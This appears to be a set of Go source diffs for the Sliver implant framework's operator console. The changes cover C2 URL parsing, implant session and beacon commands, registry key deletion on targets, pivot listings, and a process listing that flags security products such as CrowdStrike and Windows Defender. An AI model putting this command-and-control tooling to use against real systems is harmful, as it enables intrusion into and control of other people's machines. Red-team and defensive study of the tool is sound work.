con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -81,6 +81,10 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -505,13 +505,13 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -535,16 +535,22 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, build := range builds.Configs {
|
||||
if build.Name == name {
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
@@ -97,6 +97,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -84,6 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
@@ -482,6 +483,11 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
if len(hostSessions) == 0 {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
sessionIDs := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
|
||||
@@ -19,6 +19,8 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
@@ -33,7 +35,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -44,13 +46,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
@@ -61,10 +64,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
@@ -35,10 +35,9 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -50,9 +49,8 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
for _, pivotListener := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
pivotListener.PeerID,
|
||||
pivotListener.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PivotsGraphCmd - Display pivots for all sessions
|
||||
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(graph.Children, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%s\n", string(data))
|
||||
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -35,14 +35,17 @@ import (
|
||||
|
||||
var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -68,10 +71,20 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +99,6 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
@@ -118,23 +130,36 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
})
|
||||
|
||||
if !interactive {
|
||||
overflow = true
|
||||
}
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
@@ -196,7 +221,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
return row
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
// PrintCreateKey - Print the results of the create key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegDeleteKeyCmd - Remove a Windows registry key
|
||||
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
hive := ctx.Flags.String("hive")
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
if regPath == "" {
|
||||
con.PrintErrorf("You must provide a path\n")
|
||||
return
|
||||
}
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if deleteKey.Response != nil && deleteKey.Response.Async {
|
||||
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(deleteKey.Response)
|
||||
} else {
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDeleteKey - Print the results of the delete key command
|
||||
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", deleteKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key removed at %s\\%s", regPath, key)
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CloseSessionCmd - Close an interactive session but do not kill the remote process
|
||||
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Get the active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
}
|
||||
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
return nil, ErrNoSessions
|
||||
}
|
||||
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []int
|
||||
var keys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, int(session.ID))
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
session := sessionsMap[key]
|
||||
if onlyAlive && session.IsDead {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return sessionsMap[uint32(keys[index])], nil
|
||||
return sessionsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
|
||||
@@ -20,6 +20,7 @@ package sessions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
@@ -42,6 +43,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
// Parse C2 Flags
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
@@ -86,9 +88,61 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
switch c2url.Scheme {
|
||||
case "mtls":
|
||||
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
case "wg":
|
||||
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
case "dns":
|
||||
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
case "namedpipe":
|
||||
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
case "tcppivot":
|
||||
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
